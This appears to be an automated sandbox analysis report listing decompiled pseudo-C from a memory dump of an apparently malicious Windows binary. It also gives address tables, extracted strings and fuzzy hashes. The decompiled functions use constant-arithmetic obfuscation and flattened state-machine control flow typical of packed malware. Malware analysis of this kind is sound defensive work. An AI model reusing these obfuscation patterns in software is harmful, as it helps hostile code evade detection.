				_v352 = 0x441970;
				_v352 = _v352 + 0x24ff;
				_v352 = _v352 + 0xffff9ab6;
				_v352 = _v352 ^ 0x004d5352;
				_v360 = 0xf364f3;
				_v360 = _v360 >> 7;
				_v360 = _v360 >> 0xa;
				_v360 = _v360 ^ 0x0004c95a;
				_v392 = 0x3b4b3b;
				_v392 = _v392 ^ 0xf339efed;
				_v392 = _v392 ^ 0x149fa142;
				_v392 = _v392 | 0x817fda2d;
				_v392 = _v392 ^ 0xe7fbdc79;
				_v368 = 0x7be028;
				_t191 =  &_v368; // 0x7be028
				_v368 =  *_t191 / _t515;
				_t197 =  &_v368; // 0x7be028
				_t516 = 0x7b;
				_v368 =  *_t197 * 0x61;
				_v368 = _v368 ^ 0x016ef7c8;
				_v412 = 0x7d1814;
				_v412 = _v412 / _t516;
				_v412 = _v412 << 0xa;
				_v412 = _v412 >> 5;
				_v412 = _v412 ^ 0x002b2dab;
				_v308 = 0xd80031;
				_v308 = _v308 << 0xf;
				_v308 = _v308 ^ 0x0010937b;
				_v372 = 0xcdc7ad;
				_v372 = _v372 << 2;
				_t517 = 0x4a;
				_v372 = _v372 / _t517;
				_v372 = _v372 ^ 0x000a2ad9;
				_v356 = 0xb552ba;
				_v356 = _v356 << 6;
				_v356 = _v356 + 0xffff22d1;
				_v356 = _v356 ^ 0x2d5b6008;
				_v316 = 0xd960cf;
				_v316 = _v316 >> 0xf;
				_v316 = _v316 ^ 0x000d4b20;
				_v396 = 0x463e61;
				_v396 = _v396 ^ 0xa3b97e26;
				_v396 = _v396 + 0xb044;
				_v396 = _v396 << 0xf;
				_v396 = _v396 ^ 0xf8451024;
				_v428 = 0x8fa30a;
				_v428 = _v428 | 0xec92375e;
				_t518 = 0x50;
				_v428 = _v428 * 0x78;
				_v428 = _v428 / _t518;
				_v428 = _v428 ^ 0x02e6bcde;
				_v340 = 0x7b21f4;
				_v340 = _v340 | 0x015d5af8;
				_v340 = _v340 ^ 0xbe35f651;
				_v340 = _v340 ^ 0xbf41a612;
				_v388 = 0x51cd38;
				_v388 = _v388 + 0x307c;
				_v388 = _v388 + 0xdc67;
				_v388 = _v388 ^ 0x005e821e;
				_v448 = 0x5176eb;
				_t280 =  &_v448; // 0x5176eb
				_t519 = 0x17;
				_v448 =  *_t280 / _t519;
				_t286 =  &_v448; // 0x5176eb
				_t520 = 0x5d;
				_v448 =  *_t286 * 0xb;
				_v448 = _v448 >> 0x10;
				_v448 = _v448 ^ 0x000e569b;
				_v364 = 0xe45033;
				_t293 =  &_v364; // 0xe45033
				_v364 =  *_t293 * 0x22;
				_t295 =  &_v364; // 0xe45033
				_v364 =  *_t295 * 0x22;
				_v364 = _v364 ^ 0x06f7650a;
				_v420 = 0xf59819;
				_v420 = _v420 + 0xffff9a2e;
				_v420 = _v420 * 0x3f;
				_v420 = _v420 >> 7;
				_v420 = _v420 ^ 0x0076e6cb;
				_v436 = 0x9d9870;
				_v436 = _v436 + 0xffff85b4;
				_v436 = _v436 ^ 0x73b46595;
				_t521 = _v380;
				_v436 = _v436 / _t520;
				_v436 = _v436 ^ 0x013d0554;
				while(1) {
					L1:
					do {
						while(1) {
							L2:
							_t528 = _t462 - 0x8b2ef1f;
							if(_t528 > 0) {
								break;
							}
							if(_t528 == 0) {
								_t468 =  *((intOrPtr*)( *0xdb5214 + 0x24));
								_t355 = _t468 + 0x30; // 0xd953f0
								_t356 = _t468 + 0x28; // 0x13e85652
								_t361 =  *((intOrPtr*)( *0xdb5214 + 0x24)) + 0x50; // 0xf4456b00
								_t445 = E00D9996C( &_v288, _v304, _t521, _v376,  &_v280,  *_t361 & 0x0000ffff, _v424,  &_v256, _v432,  *_t356 & 0x0000ffff, _t355);
								_t524 =  &(_t524[0xa]);
								if(_t445 == 0) {
									L21:
									_t462 = 0x40f5062;
									while(1) {
										L1:
										goto L2;
									}
								} else {
									_t462 = 0x20796c8;
									while(1) {
										L1:
										goto L2;
									}
								}
							} else {
								if(_t462 == 0x20796c8) {
									_t447 = E00DA0A37(_v440, _v384, _v300, _a16,  &_v280);
									_t524 =  &(_t524[3]);
									if(_t447 == 0) {
										_t511 = 0xcbc2bff;
									} else {
										_t511 = 0xe01f896;
										_t459 = 1;
									}
									_t462 = 0xb55e81b;
									while(1) {
										L1:
										goto L2;
									}
								} else {
									if(_t462 == 0x40f5062) {
										E00D9F699(_v412, _v296, _v308, _v372, _v356);
										E00D9F699(_v316, _t521, _v396, _v428, _v340);
										E00D9F699(_v388, _v288, _v448, _v364, _v420);
										_t524 =  &(_t524[9]);
										_t462 = _t511;
										L34:
										_t428 = 0x6ea9b1a;
										goto L35;
									} else {
										if(_t462 == 0x4ffd51f) {
											if(_v292 >= _v436) {
												_t452 = E00DAD5FE( &_v296,  &_v288);
											} else {
												_t452 = E00DB1C71( &_v296);
											}
											_t521 = _t452;
											_t428 = 0x6ea9b1a;
											_t462 =  !=  ? 0x6ea9b1a : 0x40f5062;
											continue;
										} else {
											if(_t462 != _t428) {
												goto L35;
											} else {
												_push(_t462);
												_push(1);
												_push(_t462);
												_push(_t462);
												_t476 = 0x40;
												_t457 = E00DA2CCF(_t476);
												_push( &_v256);
												_push(_v320);
												_push(_t457);
												_push(0xb);
												E00DA8601(_v324, _v332);
												_t524 =  &(_t524[8]);
												_t462 = 0x8b2ef1f;
												while(1) {
													L1:
													goto L2;
												}
											}
										}
									}
								}
							}
							L38:
							return _t459;
						}
						if(_t462 == 0x9b977d1) {
							_t521 = 0;
							E00D93965(_v380, _v344,  &_v256, _v328, 0x100, _v312);
							_t524 =  &(_t524[4]);
							_v288 = 0;
							_v284 = 0;
							_t462 = 0xd5ae00f;
							_v296 = 0;
							_v292 = 0;
							goto L34;
						} else {
							if(_t462 == 0xb55e81b) {
								E00D9F699(_v352, _v280, _v360, _v392, _v368);
								_t524 =  &(_t524[3]);
								goto L21;
							} else {
								if(_t462 == 0xcbc2bff) {
									_t465 =  *0xdb5214;
									_t372 =  *((intOrPtr*)(_t465 + 0x24)) + 0x1c; // 0x1075ff56
									_t431 =  *_t372;
									 *((intOrPtr*)(_t465 + 0x34)) =  *((intOrPtr*)(_t465 + 0x34)) + 1;
									_t500 =  *((intOrPtr*)(_t465 + 0x34));
									 *((intOrPtr*)(_t465 + 0x24)) = _t431;
									if(_t431 == 0) {
										 *((intOrPtr*)(_t465 + 0x24)) =  *((intOrPtr*)(_t465 + 0x14));
									}
									if(_t500 >=  *((intOrPtr*)( *0xdb5214 + 0x10))) {
										 *((intOrPtr*)( *0xdb5214 + 0x34)) = 0;
									} else {
										_t462 = 0x9b977d1;
										goto L1;
									}
								} else {
									if(_t462 != 0xd5ae00f) {
										goto L35;
									} else {
										_t436 = E00DAB0BA(_v400, _a12, _v408,  &_v296, _a4);
										_t524 =  &(_t524[3]);
										if(_t436 != 0) {
											_t462 = 0x4ffd51f;
											while(1) {
												L1:
												goto L2;
											}
										}
									}
								}
							}
						}
						goto L38;
						L35:
					} while (_t462 != 0xe01f896);
					goto L38;
				}
			}

0x00da4dcf
0x00da4dd6
0x00da4ddd
0x00da4de4
0x00da4deb
0x00da4df2
0x00da4df3
0x00da4df4
0x00da4df9
0x00da4e06
0x00da4e11
0x00da4e14
0x00da4e1d
0x00da4e24
0x00da4e26
0x00da4e2e
0x00da4e33
0x00da4e3b
0x00da4e43
0x00da4e4b
0x00da4e50
0x00da4e58
0x00da4e60
0x00da4e6b
0x00da4e76
0x00da4e81
0x00da4e8c
0x00da4e97
0x00da4ea2
0x00da4eaa
0x00da4eb2
0x00da4eba
0x00da4ebf
0x00da4ec7
0x00da4ecf
0x00da4ed7
0x00da4ee6
0x00da4ee9
0x00da4eed
0x00da4ef5
0x00da4f00
0x00da4f0b
0x00da4f16
0x00da4f21
0x00da4f29
0x00da4f31
0x00da4f39
0x00da4f41
0x00da4f49
0x00da4f51
0x00da4f56
0x00da4f5e
0x00da4f63
0x00da4f6b
0x00da4f73
0x00da4f7b
0x00da4f83
0x00da4f8b
0x00da4f96
0x00da4fa1
0x00da4fac
0x00da4fb7
0x00da4fbf
0x00da4fca
0x00da4fde
0x00da4fe5
0x00da4ff0
0x00da4ff8
0x00da5002
0x00da5007
0x00da500d
0x00da5012
0x00da501a
0x00da5025
0x00da5030
0x00da503b
0x00da5043
0x00da5050
0x00da5053
0x00da5057
0x00da505f
0x00da506c
0x00da5070
0x00da5078
0x00da507c
0x00da5084
0x00da5094
0x00da509d
0x00da50a0
0x00da50a4
0x00da50ac
0x00da50b4
0x00da50bc
0x00da50c1
0x00da50c9
0x00da50d1
0x00da50d9
0x00da50e1
0x00da50e9
0x00da50f1
0x00da50fc
0x00da5107
0x00da5112
0x00da511a
0x00da5122
0x00da512a
0x00da5132
0x00da513a
0x00da513f
0x00da5144
0x00da514c
0x00da5154
0x00da515c
0x00da5164
0x00da516c
0x00da5174
0x00da517c
0x00da5184
0x00da5188
0x00da518d
0x00da518e
0x00da5192
0x00da519a
0x00da51a8
0x00da51ac
0x00da51b1
0x00da51b6
0x00da51be
0x00da51c9
0x00da51d1
0x00da51dc
0x00da51e4
0x00da51f1
0x00da51f6
0x00da51fc
0x00da5204
0x00da520c
0x00da5211
0x00da5219
0x00da5221
0x00da522c
0x00da5234
0x00da523f
0x00da5247
0x00da524f
0x00da5257
0x00da525c
0x00da5264
0x00da526c
0x00da5279
0x00da5280
0x00da528c
0x00da5290
0x00da5298
0x00da52a3
0x00da52ae
0x00da52b9
0x00da52c4
0x00da52cc
0x00da52d4
0x00da52dc
0x00da52e4
0x00da52ec
0x00da52f0
0x00da52f5
0x00da52fb
0x00da5300
0x00da5301
0x00da5305
0x00da530a
0x00da5312
0x00da531a
0x00da531f
0x00da5323
0x00da5328
0x00da532c
0x00da5334
0x00da533c
0x00da5349
0x00da534d
0x00da5352
0x00da535a
0x00da5362
0x00da536a
0x00da5378
0x00da537c
0x00da5380
0x00da5388
0x00da5388
0x00da538d
0x00da538d
0x00da538d
0x00da538d
0x00da5393
0x00000000
0x00000000
0x00da5399
0x00da550a
0x00da550d
0x00da5511
0x00da552e
0x00da554b
0x00da5550
0x00da5555
0x00da5566
0x00da5566
0x00da5388
0x00da5388
0x00000000
0x00da5388
0x00da5557
0x00da5557
0x00da5388
0x00da5388
0x00000000
0x00da5388
0x00da5388
0x00da539f
0x00da53a5
0x00da54d9
0x00da54de
0x00da54e3
0x00da54ef
0x00da54e5
0x00da54e7
0x00da54ec
0x00da54ec
0x00da54f4
0x00da5388
0x00da5388
0x00000000
0x00da5388
0x00da53ab
0x00da53b1
0x00da5470
0x00da548d
0x00da54ac
0x00da54b1
0x00da54b4
0x00da5680
0x00da5680
0x00000000
0x00da53b7
0x00da53bd
0x00da542b
0x00da543b
0x00da542d
0x00da542d
0x00da542d
0x00da5440
0x00da5449
0x00da544e
0x00000000
0x00da53bf
0x00da53c1
0x00000000
0x00da53c7
0x00da53da
0x00da53db
0x00da53dd
0x00da53de
0x00da53e1
0x00da53e2
0x00da53ee
0x00da53ef
0x00da5404
0x00da5405
0x00da5407
0x00da540c
0x00da540f
0x00da5388
0x00da5388
0x00000000
0x00da5388
0x00da5388
0x00da53c1
0x00da53bd
0x00da53b1
0x00da53a5
0x00da569f
0x00da56a8
0x00da56a8
0x00da5576
0x00da563d
0x00da5657
0x00da565c
0x00da565f
0x00da5666
0x00da566d
0x00da5672
0x00da5679
0x00000000
0x00da557c
0x00da5582
0x00da5622
0x00da5627
0x00000000
0x00da5588
0x00da558e
0x00da55d4
0x00da55dd
0x00da55dd
0x00da55e0
0x00da55e3
0x00da55e6
0x00da55eb
0x00da55f0
0x00da55f0
0x00da55fb
0x00da5699
0x00da5601
0x00da5601
0x00000000
0x00da5601
0x00da5590
0x00da5596
0x00000000
0x00da559c
0x00da55ba
0x00da55bf
0x00da55c4
0x00da55ca
0x00da5388
0x00da5388
0x00000000
0x00da5388
0x00da5388
0x00da55c4
0x00da5596
0x00da558e
0x00da5582
0x00000000
0x00da5685
0x00da5685
0x00000000
0x00da5691

Strings

vQ, xrefs: 00DA52EC
f, xrefs: 00DA4EF5
1, xrefs: 00DA51BE
a>F, xrefs: 00DA523F
|0, xrefs: 00DA52CC
RSM, xrefs: 00DA512A
;K;, xrefs: 00DA514C
({, xrefs: 00DA517C
1jX, xrefs: 00DA4F8B
{, xrefs: 00DA4ED7
K, xrefs: 00DA5234
AB, xrefs: 00DA4F21

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: AB$ K$({$1$1jX$;K;$RSM$a>F$f$|0$vQ${
API String ID: 0-3105251626
Opcode ID: 76426e4000fdf114392f9a2815237855bb8cf37cbe18847778a41d490295274e
Instruction ID: 73de90eb63acfcdb4e786a381821b81dbc5698d07de5ccc41943a7ca29630b6c
Opcode Fuzzy Hash: 76426e4000fdf114392f9a2815237855bb8cf37cbe18847778a41d490295274e
Instruction Fuzzy Hash: 892254B1509380DFD368CF25D58AA5FBBE1FBC5708F10890DE6998A260D7B09949CF63

Uniqueness

Uniqueness Score: -1.00%

Function 00DB0C66, Relevance: 14.3, Strings: 11, Instructions: 552
COMMONCrypto

Download Yara Rule

C-Code - Quality: 85%

			E00DB0C66(intOrPtr __ecx, void* __edx, intOrPtr _a4, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v4;
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				unsigned int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				unsigned int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				intOrPtr _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				signed int _v272;
				void* _t569;
				void* _t616;
				void* _t620;
				intOrPtr _t623;
				void* _t628;
				void* _t631;
				void* _t639;
				void* _t643;
				intOrPtr _t649;
				void* _t668;
				void* _t706;
				signed int _t721;
				void* _t722;
				signed int _t724;
				signed int _t725;
				signed int _t726;
				signed int _t727;
				signed int _t728;
				signed int _t729;
				signed int _t730;
				signed int _t731;
				signed int _t732;
				signed int _t733;
				signed int _t734;
				signed int _t735;
				void* _t736;
				void* _t739;
				signed int* _t741;
				void* _t744;

				_t649 = __ecx;
				_push(_a20);
				_v208 = __ecx;
				_push(_a16);
				_push(_a12);
				_push(0x20);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E00D98002(_t569);
				_v252 = 0xb850c4;
				_t741 =  &(( &_v272)[7]);
				_v252 = _v252 + 0xffff1b87;
				_t739 = 0;
				_t643 = 0x31427ed;
				_t724 = 0x38;
				_v252 = _v252 / _t724;
				_v252 = _v252 | 0x7484239e;
				_v252 = _v252 ^ 0x7487679f;
				_v228 = 0x671610;
				_v228 = _v228 << 9;
				_v228 = _v228 + 0xffffbdb7;
				_t721 = 0x48;
				_v228 = _v228 / _t721;
				_v228 = _v228 ^ 0x02dd0dbe;
				_v248 = 0x6d45a8;
				_v248 = _v248 ^ 0xcdaaf4a8;
				_v248 = _v248 | 0x2aa6e37d;
				_v248 = _v248 >> 0xc;
				_v248 = _v248 ^ 0x000efe7f;
				_v56 = 0x1d0414;
				_v56 = _v56 ^ 0xe63e9f7a;
				_v56 = _v56 ^ 0xe6239b6e;
				_v196 = 0xdbff9;
				_v196 = _v196 + 0xffffdf67;
				_v196 = _v196 >> 9;
				_v196 = _v196 ^ 0x000006cf;
				_v88 = 0xee2915;
				_t725 = 0x5a;
				_v88 = _v88 / _t725;
				_v88 = _v88 ^ 0x0002a56f;
				_v256 = 0x30f311;
				_t726 = 0x7d;
				_v256 = _v256 * 0x6c;
				_v256 = _v256 / _t726;
				_v256 = _v256 + 0xffff130d;
				_v256 = _v256 ^ 0x00295de4;
				_v268 = 0xd74e11;
				_v268 = _v268 >> 0xb;
				_v268 = _v268 + 0x536c;
				_v268 = _v268 + 0xffff4a38;
				_v268 = _v268 ^ 0xffffb88d;
				_v128 = 0x78165c;
				_v128 = _v128 ^ 0x119f2f8b;
				_v128 = _v128 >> 5;
				_v128 = _v128 ^ 0x008f39ce;
				_v260 = 0x46e0dd;
				_v260 = _v260 * 0x14;
				_v260 = _v260 << 4;
				_v260 = _v260 * 0x3f;
				_v260 = _v260 ^ 0xcdabfbc0;
				_v144 = 0x6701dd;
				_v144 = _v144 ^ 0x9279afad;
				_v144 = _v144 + 0xffff89d5;
				_v144 = _v144 ^ 0x921e3845;
				_v108 = 0x3d44ad;
				_v108 = _v108 >> 1;
				_v108 = _v108 >> 6;
				_v108 = _v108 ^ 0x00007a89;
				_v92 = 0x45ba2c;
				_t727 = 0x62;
				_v92 = _v92 * 0x4a;
				_v92 = _v92 ^ 0x1427283f;
				_v52 = 0x343fab;
				_v52 = _v52 + 0x68e6;
				_v52 = _v52 ^ 0x003405e0;
				_v176 = 0xaf3889;
				_v176 = _v176 ^ 0xc23279d7;
				_v176 = _v176 * 0x1b;
				_v176 = _v176 ^ 0x869c530f;
				_v28 = 0xf4b427;
				_v28 = _v28 | 0x483a8d57;
				_v28 = _v28 ^ 0x48fe78d2;
				_v112 = 0x10db4e;
				_v112 = _v112 ^ 0xf1aff679;
				_v112 = _v112 << 0xa;
				_v112 = _v112 ^ 0xfcbe5c75;
				_v76 = 0x14b737;
				_v76 = _v76 + 0x7c5f;
				_v76 = _v76 ^ 0x0013f1cb;
				_v44 = 0x7484d8;
				_v44 = _v44 * 9;
				_v44 = _v44 ^ 0x04160bfd;
				_v84 = 0x9b7484;
				_v84 = _v84 | 0x5f4a7202;
				_v84 = _v84 ^ 0x5fdf5c37;
				_v168 = 0xda0fbd;
				_v168 = _v168 / _t721;
				_v168 = _v168 * 0x1b;
				_v168 = _v168 ^ 0x0053367e;
				_v68 = 0x2fa43a;
				_v68 = _v68 ^ 0x0df30566;
				_v68 = _v68 ^ 0x0ddaec5a;
				_v32 = 0xc1ec80;
				_v32 = _v32 / _t727;
				_v32 = _v32 ^ 0x000e66f3;
				_v160 = 0x6b4fac;
				_v160 = _v160 + 0x12eb;
				_v160 = _v160 | 0x6651ce0a;
				_v160 = _v160 ^ 0x667f6b6f;
				_v136 = 0x33b0f4;
				_v136 = _v136 ^ 0xd9a5f0ed;
				_v136 = _v136 >> 0xf;
				_v136 = _v136 ^ 0x000f0842;
				_v36 = 0x2a6a0f;
				_v36 = _v36 * 0x2e;
				_v36 = _v36 ^ 0x07936512;
				_v72 = 0x697fd1;
				_v72 = _v72 ^ 0xbf1512e6;
				_v72 = _v72 ^ 0xbf789ab5;
				_v148 = 0xe185e4;
				_v148 = _v148 ^ 0xe5b2acdb;
				_v148 = _v148 + 0xffff9d18;
				_v148 = _v148 ^ 0xe55c8429;
				_v124 = 0x9fa9d1;
				_t728 = 0x5c;
				_v124 = _v124 / _t728;
				_v124 = _v124 + 0xffff2216;
				_v124 = _v124 ^ 0x00077867;
				_v132 = 0x8adf9e;
				_v132 = _v132 + 0x9a5e;
				_v132 = _v132 ^ 0x1a624471;
				_v132 = _v132 ^ 0x1ae76519;
				_v64 = 0x313708;
				_v64 = _v64 | 0x04d552f5;
				_v64 = _v64 ^ 0x04f75265;
				_v240 = 0xb80a70;
				_v240 = _v240 + 0x66b6;
				_v240 = _v240 | 0x1a350fc1;
				_v240 = _v240 + 0xffffcc70;
				_v240 = _v240 ^ 0x1abc6eb5;
				_v140 = 0x2912e7;
				_v140 = _v140 | 0xe2603e46;
				_v140 = _v140 + 0x7e97;
				_v140 = _v140 ^ 0xe265e9db;
				_v116 = 0x821ea6;
				_t729 = 0x2c;
				_v116 = _v116 * 0x36;
				_v116 = _v116 + 0x5511;
				_v116 = _v116 ^ 0x1b7bb2e8;
				_v232 = 0xf0e9f8;
				_v232 = _v232 * 0x7a;
				_v232 = _v232 + 0xffff16fe;
				_v232 = _v232 + 0xffff2a1a;
				_v232 = _v232 ^ 0x72ce1a31;
				_v48 = 0xf5efb0;
				_v48 = _v48 + 0xffff94f3;
				_v48 = _v48 ^ 0x00fb4f00;
				_v156 = 0x5ba670;
				_v156 = _v156 * 0x1a;
				_v156 = _v156 >> 0xf;
				_v156 = _v156 ^ 0x000aa99f;
				_v164 = 0xe620a;
				_v164 = _v164 | 0x6cacc763;
				_v164 = _v164 + 0xffff3d7f;
				_v164 = _v164 ^ 0x6caebe8e;
				_v264 = 0x43c5d0;
				_v264 = _v264 | 0xb2ae0f18;
				_v264 = _v264 + 0xffff20a5;
				_v264 = _v264 + 0x8e2a;
				_v264 = _v264 ^ 0xb2e472bd;
				_v96 = 0x6313ef;
				_v96 = _v96 + 0x1112;
				_v96 = _v96 ^ 0x006c6cc1;
				_v200 = 0xd4b609;
				_v200 = _v200 / _t729;
				_v200 = _v200 | 0x8315fc57;
				_v200 = _v200 ^ 0x83102fe5;
				_v100 = 0x2b0f3c;
				_v100 = _v100 >> 5;
				_v100 = _v100 ^ 0x00084a15;
				_v24 = 0xb53f51;
				_v24 = _v24 << 0xc;
				_v24 = _v24 ^ 0x53fe8c9e;
				_v60 = 0xdeceb1;
				_v60 = _v60 << 6;
				_v60 = _v60 ^ 0x37b3ff62;
				_v192 = 0x1ce17f;
				_v192 = _v192 * 0x2a;
				_v192 = _v192 >> 0xa;
				_v192 = _v192 ^ 0x000a04b3;
				_v152 = 0x50af57;
				_v152 = _v152 + 0xffffa32e;
				_v152 = _v152 + 0x3d8;
				_v152 = _v152 ^ 0x0055a199;
				_v172 = 0x237ec8;
				_v172 = _v172 << 9;
				_v172 = _v172 | 0x4009841a;
				_v172 = _v172 ^ 0x46f72838;
				_v104 = 0x126ce;
				_v104 = _v104 + 0x6844;
				_v104 = _v104 ^ 0x000df250;
				_v184 = 0x7f89e0;
				_t730 = 0x7c;
				_v184 = _v184 * 0x13;
				_v184 = _v184 + 0x9bdf;
				_v184 = _v184 ^ 0x097566f3;
				_v220 = 0x80e5a4;
				_v220 = _v220 >> 4;
				_v220 = _v220 >> 0xc;
				_v220 = _v220 << 0xb;
				_v220 = _v220 ^ 0x0004633a;
				_v236 = 0xa3af09;
				_v236 = _v236 + 0xd396;
				_v236 = _v236 / _t730;
				_v236 = _v236 << 6;
				_v236 = _v236 ^ 0x005e9d44;
				_v272 = 0xdcaf57;
				_v272 = _v272 >> 0x10;
				_v272 = _v272 + 0xffffbaf3;
				_v272 = _v272 + 0xa902;
				_v272 = _v272 ^ 0x00015b44;
				_v212 = 0xf8cf2f;
				_v212 = _v212 + 0xffff434a;
				_t731 = 0x43;
				_v212 = _v212 / _t731;
				_v212 = _v212 + 0xebc7;
				_v212 = _v212 ^ 0x000808bb;
				_v244 = 0xab67d2;
				_v244 = _v244 + 0xa2f6;
				_v244 = _v244 ^ 0x53709e51;
				_t732 = 0x53;
				_v244 = _v244 * 0x4d;
				_v244 = _v244 ^ 0x39596a5b;
				_v120 = 0xeb205c;
				_t415 =  &_v120; // 0xeb205c
				_v120 =  *_t415 / _t732;
				_v120 = _v120 << 0x10;
				_v120 = _v120 ^ 0xd53d7c47;
				_v204 = 0x928934;
				_t733 = 0x65;
				_v204 = _v204 / _t733;
				_v204 = _v204 << 4;
				_v204 = _v204 ^ 0x00124f63;
				_v180 = 0xfa33d6;
				_v180 = _v180 >> 0xe;
				_v180 = _v180 | 0xba2d9757;
				_v180 = _v180 ^ 0xba2e1214;
				_v80 = 0x3a8b30;
				_v80 = _v80 | 0xac97b1c6;
				_v80 = _v80 ^ 0xacba9565;
				_v188 = 0xb91ef8;
				_v188 = _v188 ^ 0x088b963f;
				_v188 = _v188 >> 8;
				_v188 = _v188 ^ 0x0001fb3d;
				_v40 = 0x2fe7d8;
				_v40 = _v40 + 0xc7f9;
				_v40 = _v40 ^ 0x003a6680;
				_v216 = 0x6f56e7;
				_v216 = _v216 + 0xfffff5e8;
				_t722 = 0xd7342cb;
				_t734 = 0x71;
				_v216 = _v216 / _t734;
				_v216 = _v216 + 0x8f1f;
				_v216 = _v216 ^ 0x0001ab71;
				_v224 = 0x334e4d;
				_v224 = _v224 >> 3;
				_v224 = _v224 << 0xf;
				_t735 = 0x5e;
				_t736 = 0xaa6f2cb;
				_v224 = _v224 / _t735;
				_v224 = _v224 ^ 0x009dce1e;
				while(1) {
					L1:
					while(1) {
						do {
							while(1) {
								L3:
								_t744 = _t643 - _t736;
								if(_t744 > 0) {
									break;
								}
								if(_t744 == 0) {
									_t628 = E00D936B6(_v12, _v264, _v196, _v88, _v8,  &_v20, _v96, _v200, _v100, _v24, _v16, _t649, _v60);
									_t741 =  &(_t741[0xb]);
									__eflags = _t628 - _v256;
									_t706 = 0x43cb520;
									_t649 = _v208;
									_t620 = 0x3c47c30;
									_t643 =  ==  ? 0x43cb520 : 0xf968961;
									continue;
								} else {
									if(_t643 == 0x40b594) {
										E00DB296F(_v272, _v212, _v244, _v20, _v120);
										_t741 =  &(_t741[3]);
										_t643 = 0xf968961;
										goto L12;
									} else {
										if(_t643 == 0x31427ed) {
											_t643 = 0x3ae9152;
											continue;
										} else {
											if(_t643 == 0x3ae9152) {
												_push(0xd91648);
												_t631 = E00DB0AD3(_v92, _v52, __eflags);
												 *_t741 = 0xd915c8;
												__eflags = E00D992DD(_t631, _v252, _v112,  &_v16, E00DB0AD3(_v176, _v28, __eflags), _v76, _v44, _v84) - _v228;
												_t643 =  ==  ? 0xb82defd : 0xe240aa1;
												E00DA2EED(_v168, _v68, _v32, _t631);
												E00DA2EED(_v160, _v136, _v36, _t632);
												_t741 =  &(_t741[0xa]);
												_t722 = 0xd7342cb;
												L24:
												_t649 = _v208;
												_t706 = 0x43cb520;
												_t620 = 0x3c47c30;
												_t736 = 0xaa6f2cb;
												goto L25;
											} else {
												if(_t643 == _t620) {
													_push(_t649);
													_push(_v236);
													_push(_v260);
													_push(_v220);
													_push(_v20);
													_push(_v184);
													_t668 = 0x20;
													_t639 = E00DAC678(_t668, _v104);
													_t741 =  &(_t741[6]);
													_t643 = 0x40b594;
													__eflags = _t639 - _v144;
													_t739 =  ==  ? 1 : _t739;
													L12:
													_t649 = _v208;
													goto L1;
												} else {
													if(_t643 != _t706) {
														goto L25;
													} else {
														E00D9AC44(_v20, _a12, _v192, _a16, _v152, _v268, _v172);
														_t741 =  &(_t741[5]);
														_t649 = _v208;
														_t620 = 0x3c47c30;
														_t643 =  ==  ? 0x3c47c30 : 0x40b594;
														continue;
													}
												}
											}
										}
									}
								}
								L28:
								return _t739;
							}
							__eflags = _t643 - 0xb82defd;
							if(__eflags == 0) {
								_push(0xd91618);
								_t616 = E00D95894(_v124,  &_v8, _v132,  &_v4, _v64, _v240, E00DB0AD3(_v72, _v148, __eflags), _v248, _v140, _v16);
								_t741 =  &(_t741[9]);
								__eflags = _t616 - _v56;
								_t643 =  ==  ? 0xc658524 : _t722;
								E00DA2EED(_v116, _v232, _v48, _t614);
								goto L24;
							} else {
								__eflags = _t643 - 0xc658524;
								if(_t643 == 0xc658524) {
									_push(_t649);
									_t623 = E00DA6F53(_v8);
									__eflags = _t623;
									_v12 = _t623;
									_t643 =  !=  ? _t736 : _t722;
									goto L12;
								} else {
									__eflags = _t643 - _t722;
									if(_t643 == _t722) {
										E00D92CF9(_v40, _v216, _v108, _v224, _v16);
									} else {
										__eflags = _t643 - 0xf968961;
										if(_t643 != 0xf968961) {
											goto L25;
										} else {
											E00D9F699(_v204, _v12, _v180, _v80, _v188);
											_t741 =  &(_t741[3]);
											_t643 = _t722;
											goto L12;
										}
									}
								}
							}
							goto L28;
							L25:
							__eflags = _t643 - 0xe240aa1;
						} while (__eflags != 0);
						goto L28;
					}
				}
			}

0x00db0c66
0x00db0c70
0x00db0c77
0x00db0c7b
0x00db0c82
0x00db0c89
0x00db0c8b
0x00db0c92
0x00db0c93
0x00db0c94
0x00db0c99
0x00db0ca1
0x00db0ca4
0x00db0cb2
0x00db0cb4
0x00db0cbb
0x00db0cc0
0x00db0cc6
0x00db0cce
0x00db0cd6
0x00db0cde
0x00db0ce3
0x00db0cef
0x00db0cf4
0x00db0cfa
0x00db0d02
0x00db0d0a
0x00db0d12
0x00db0d1a
0x00db0d1f
0x00db0d27
0x00db0d32
0x00db0d3d
0x00db0d48
0x00db0d50
0x00db0d58
0x00db0d5d
0x00db0d65
0x00db0d77
0x00db0d7c
0x00db0d85
0x00db0d90
0x00db0d9d
0x00db0d9e
0x00db0da8
0x00db0dac
0x00db0db4
0x00db0dbc
0x00db0dc4
0x00db0dc9
0x00db0dd1
0x00db0dd9
0x00db0de1
0x00db0dec
0x00db0df7
0x00db0dff
0x00db0e0a
0x00db0e17
0x00db0e1b
0x00db0e25
0x00db0e2b
0x00db0e33
0x00db0e3e
0x00db0e49
0x00db0e54
0x00db0e5f
0x00db0e6a
0x00db0e71
0x00db0e79
0x00db0e84
0x00db0e99
0x00db0e9c
0x00db0ea3
0x00db0eae
0x00db0eb9
0x00db0ec4
0x00db0ecf
0x00db0ed7
0x00db0ee4
